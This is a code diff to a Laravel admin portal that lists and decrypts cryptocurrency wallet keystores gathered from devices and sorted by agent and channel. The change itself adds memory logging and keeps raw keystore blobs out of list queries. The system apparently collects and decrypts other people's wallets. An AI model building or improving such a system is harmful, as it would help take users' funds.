diff --git a/.env.example b/.env.example index c908625..66c4473 100644 --- a/.env.example +++ b/.env.example @@ -15,7 +15,7 @@ APP_MAINTENANCE_DRIVER=file BCRYPT_ROUNDS=12 LOG_CHANNEL=stack -LOG_STACK=single +LOG_STACK=daily LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 365dadd..a4f54ca 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -635,24 +635,19 @@ class DeviceController extends Controller if (! in_array($field, $sortable, true)) { $field = 'id'; } - $paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); + $cols = WalletKeystore::listColumns(); + $paginator = $device->keystores()->select($cols)->orderBy($field, $order)->paginate($limit, $cols, 'page', $page); $portal = $this->portal(); $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { - try { - $itemCount = $row->itemCount(); - $summary = $row->summary(); - } catch (\Throwable) { - $itemCount = 0; - $summary = ''; - } + $stats = $row->listStats(); return [ 'id' => $row->id, 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, - 'kind' => $row->kindLabel(), - 'item_count' => $itemCount, - 'summary' => $summary, + 'kind' => $stats['kind'], + 'item_count' => $stats['item_count'], + 'summary' => $stats['summary'], 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'items_url' => route($portal.'.keystores.items', $row->id), 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index ffbd2fe..368020a 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -13,6 +13,7 @@ use App\Services\EthKeystore; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; +use Illuminate\Support\Facades\Log; class KeystoreController extends Controller { @@ -50,12 +51,34 @@ class KeystoreController extends Controller $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); - $paginator = $q->paginate($limit, ['*'], 'page', $page); + $cols = array_merge(WalletKeystore::listColumns(), [ + 'devices.device_id as device_key', + 'devices.channel_id as device_channel_id', + ]); + Log::info('keystore.list.data.start', [ + 'page' => $page, + 'limit' => $limit, + 'mem' => memory_get_usage(true), + ]); + $paginator = $q->paginate($limit, $cols, 'page', $page); + Log::info('keystore.list.data.page', [ + 'total' => $paginator->total(), + 'ids' => collect($paginator->items())->pluck('id')->all(), + 'sizes' => collect($paginator->items())->mapWithKeys( + static fn (WalletKeystore $row) => [$row->id => (int) ($row->raw_json_len ?? 0)] + )->all(), + 'mem' => memory_get_usage(true), + ]); $portal = $this->portal(); $data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) { return $this->rowPayload($row, $portal); })->values(); + Log::info('keystore.list.data.done', [ + 'count' => $data->count(), + 'mem' => memory_get_usage(true), + 'peak' => memory_get_peak_usage(true), + ]); return response()->json([ 'code' => 0, @@ -71,6 +94,21 @@ class KeystoreController extends Controller return response()->json(['code' => 1, 'msg' => '无权操作'], 403); } + $len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n'); + Log::info('keystore.items.start', [ + 'id' => $keystore->id, + 'raw_json_len' => $len, + 'mem' => memory_get_usage(true), + ]); + $items = $keystore->listedItems(); + Log::info('keystore.items.done', [ + 'id' => $keystore->id, + 'raw_json_len' => $len, + 'item_count' => count($items), + 'mem' => memory_get_usage(true), + 'peak' => memory_get_peak_usage(true), + ]); + return response()->json([ 'code' => 0, 'msg' => '', @@ -79,7 +117,7 @@ class KeystoreController extends Controller 'source' => $keystore->sourceLabel(), 'decrypted' => (int) $keystore->decrypted, 'kind' => $keystore->kindLabel(), - 'items' => $keystore->listedItems(), + 'items' => $items, ], ]); } @@ -137,13 +175,7 @@ class KeystoreController extends Controller */ public function rowPayload(WalletKeystore $row, string $portal): array { - try { - $itemCount = $row->itemCount(); - $summary = $row->summary(); - } catch (\Throwable) { - $itemCount = 0; - $summary = ''; - } + $stats = $row->listStats(); return [ 'id' => $row->id, @@ -151,9 +183,9 @@ class KeystoreController extends Controller 'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '', 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, - 'kind' => $row->kindLabel(), - 'item_count' => $itemCount, - 'summary' => $summary, + 'kind' => $stats['kind'], + 'item_count' => $stats['item_count'], + 'summary' => $stats['summary'], 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']), 'items_url' => route($portal.'.keystores.items', $row->id), @@ -203,11 +235,10 @@ class KeystoreController extends Controller { $q = WalletKeystore::query() ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id') - ->select([ - 'wallet_keystores.*', + ->select(array_merge(WalletKeystore::listColumns(), [ 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', - ]); + ])); AgentScope::applyDeviceChannelScope($q, $this->agent()); diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 907c198..6776c5c 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -4,6 +4,8 @@ namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; +use Illuminate\Support\Facades\DB; +use Illuminate\Support\Facades\Log; class WalletKeystore extends Model { @@ -19,6 +21,76 @@ class WalletKeystore extends Model ]; } + /** + * Columns for admin/device list pages. Never include raw_json — a page of + * dumps will exceed the 128MB PHP limit (see production.ERROR OOM). + * + * @return list + */ + public static function listColumns(string $table = 'wallet_keystores'): array + { + return [ + $table.'.id', + $table.'.device_id', + $table.'.source', + $table.'.decrypted', + $table.'.created_at', + $table.'.updated_at', + DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'), + ]; + } + + /** + * Load this row's raw_json alone, log memory, then drop the blob. + * + * @return array{item_count: int, summary: string, kind: string} + */ + public function listStats(): array + { + $len = (int) ($this->raw_json_len ?? 0); + $memBefore = memory_get_usage(true); + Log::info('keystore.list.hydrate.start', [ + 'id' => $this->id, + 'raw_json_len' => $len, + 'mem' => $memBefore, + ]); + + $raw = self::query()->whereKey($this->id)->value('raw_json'); + $this->setAttribute('raw_json', $raw); + try { + $stats = [ + 'item_count' => $this->itemCount(), + 'summary' => $this->summary(), + 'kind' => $this->kindLabel(), + ]; + } catch (\Throwable $e) { + Log::warning('keystore.list.hydrate.fail', [ + 'id' => $this->id, + 'raw_json_len' => $len, + 'mem' => memory_get_usage(true), + 'error' => $e->getMessage(), + ]); + $stats = [ + 'item_count' => 0, + 'summary' => '', + 'kind' => $this->kindLabel(), + ]; + } finally { + $this->setAttribute('raw_json', null); + } + + Log::info('keystore.list.hydrate.done', [ + 'id' => $this->id, + 'raw_json_len' => $len, + 'item_count' => $stats['item_count'], + 'kind' => $stats['kind'], + 'mem' => memory_get_usage(true), + 'delta' => memory_get_usage(true) - $memBefore, + ]); + + return $stats; + } + /** * @param array $rawJson */ @@ -41,17 +113,22 @@ class WalletKeystore extends Model { $hash = self::hashPayload($rawJson); $matches = []; - foreach (self::query()->where('device_id', $device->id)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { + foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { $rowHash = (string) $row->content_hash; if ($rowHash === '') { + $raw = self::query()->whereKey($row->id)->value('raw_json'); + $row->setAttribute('raw_json', $raw); $rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []); + $row->setAttribute('raw_json', null); } if (! hash_equals($rowHash, $hash)) { continue; } if ((string) $row->content_hash !== $hash) { - $row->forceFill(['content_hash' => $hash])->save(); + self::query()->whereKey($row->id)->update(['content_hash' => $hash]); + $row->setAttribute('content_hash', $hash); } + $row->setAttribute('raw_json', null); $matches[] = $row; } diff --git a/config/logging.php b/config/logging.php index b09cb25..486e514 100644 --- a/config/logging.php +++ b/config/logging.php @@ -54,7 +54,7 @@ return [ 'stack' => [ 'driver' => 'stack', - 'channels' => explode(',', (string) env('LOG_STACK', 'single')), + 'channels' => explode(',', (string) env('LOG_STACK', 'daily')), 'ignore_exceptions' => false, ],